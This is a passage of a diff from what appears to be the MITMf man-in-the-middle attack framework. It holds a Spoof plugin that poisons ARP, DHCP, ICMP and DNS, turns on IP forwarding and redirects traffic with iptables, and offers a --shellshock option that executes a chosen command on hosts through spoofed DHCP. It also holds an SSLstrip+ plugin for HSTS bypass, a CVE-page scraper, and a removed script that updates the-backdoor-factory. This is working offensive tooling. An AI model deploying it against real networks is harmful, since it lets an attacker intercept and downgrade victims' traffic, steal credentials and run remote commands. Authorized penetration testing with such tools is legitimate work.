self.tree_info.append('ARP spoofing enabled')
self.protocol_instances.append(arp)
elif options.dhcp:
from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner
if options.targets:
shutdown("[Spoof] --targets argument invalid when DCHP spoofing")
dhcp = DHCPpoisoner(options, self.config['Spoof']['DHCP'])
dhcp.debug = debug
self.tree_info.append('DHCP spoofing enabled')
self.protocol_instances.append(dhcp)
elif options.icmp:
from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner
if not options.gateway:
shutdown("[Spoof] --icmp argument requires --gateway")
if not options.targets:
shutdown("[Spoof] --icmp argument requires --targets")
icmp = ICMPpoisoner(options)
icmp.debug = debug
self.tree_info.append('ICMP spoofing enabled')
self.protocol_instances.append(icmp)
if options.dns:
from core.servers.dns.DNSchef import DNSChef
self.tree_info.append('DNS spoofing enabled')
if not options.manualiptables:
if iptables().dns is False:
iptables().DNS(self.config['MITMf']['DNS']['port'])
if not options.arp and not options.icmp and not options.dhcp and not options.dns:
shutdown("[Spoof] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
set_ip_forwarding(1)
if not options.manualiptables:
if iptables().http is False:
iptables().HTTP(options.listen_port)
for protocol in self.protocol_instances:
protocol.start()
def options(self, options):
group = options.add_mutually_exclusive_group(required=False)
group.add_argument('--arp', dest='arp', action='store_true', help='Redirect traffic using ARP spoofing')
group.add_argument('--icmp', dest='icmp', action='store_true', help='Redirect traffic using ICMP redirects')
group.add_argument('--dhcp', dest='dhcp', action='store_true', help='Redirect traffic using DHCP offers')
options.add_argument('--dns', dest='dns', action='store_true', help='Proxy/Modify DNS queries')
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]')
options.add_argument('--ignore', dest='ignore', help='Specify host/s not to poison')
options.add_argument('--arpmode',type=str, dest='arpmode', default='rep', choices=["rep", "req"], help=' ARP Spoofing mode: replies (rep) or requests (req) [default: rep]')
def on_shutdown(self):
from core.utils import iptables, set_ip_forwarding
for protocol in self.protocol_instances:
if hasattr(protocol, 'stop'):
protocol.stop()
if not self.manualiptables:
iptables().Flush()
set_ip_forwarding(0)

49
plugins/sslstrip+.py Normal file
View file

@ -0,0 +1,49 @@
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import sys
from plugins.plugin import Plugin
class SSLstripPlus(Plugin):
name = 'SSLstrip+'
optname = 'hsts'
desc = 'Enables SSLstrip+ for partial HSTS bypass'
version = "0.4"
tree_info = ["SSLstrip+ by Leonardo Nve running"]
has_opts = False
def initialize(self, options):
self.options = options
self.manualiptables = options.manualiptables
from core.sslstrip.URLMonitor import URLMonitor
from core.servers.dns.DNSchef import DNSChef
from core.utils import iptables
if not options.manualiptables:
if iptables().dns is False:
iptables().DNS(self.config['MITMf']['DNS']['port'])
URLMonitor.getInstance().setHstsBypass()
DNSChef().setHstsBypass()
def on_shutdown(self):
from core.utils import iptables
if not self.manualiptables:
if iptables().dns is True:
iptables().Flush()

View file

@ -1,17 +0,0 @@
Twisted
requests
netaddr
scapy
dnspython
cryptography
pycrypto
msgpack-python
configobj
mitmflib
Pillow
pefile
ipy
pyopenssl
service_identity
capstone
pypcap

32
tools/cve-details-parser.py Executable file
View file

@ -0,0 +1,32 @@
#! /usr/bin/env python2
import requests
import lxml.html
import sys
r = requests.get(sys.argv[1])
tree = lxml.html.fromstring(r.text)
try:
vulntable = tree.xpath('//table[@id="vulnprodstable"]/*')
list_len = len(vulntable)
tuple_list = []
for i in vulntable[2:list_len]:
java_v = (i.getchildren()[4].text.strip(), i.getchildren()[5].text.strip()[6:].strip())
tuple_list.append(java_v)
except IndexError:
pass
string_list = []
for v in sorted(set(tuple_list)):
version, update = v
if update:
string_list.append("{}.{}".format(version, update))
else:
string_list.append(version)
print ', '.join(string_list)

View file

@ -1,11 +0,0 @@
#!/usr/bin/env bash
if [[ $EUID -ne 0 ]]; then
echo "You must root" 2>&1
exit 1
fi
echo 'Updating MITMf'
git pull
echo 'Updating the-backdoor-factory'
cd libs/bdfactory/
git pull origin master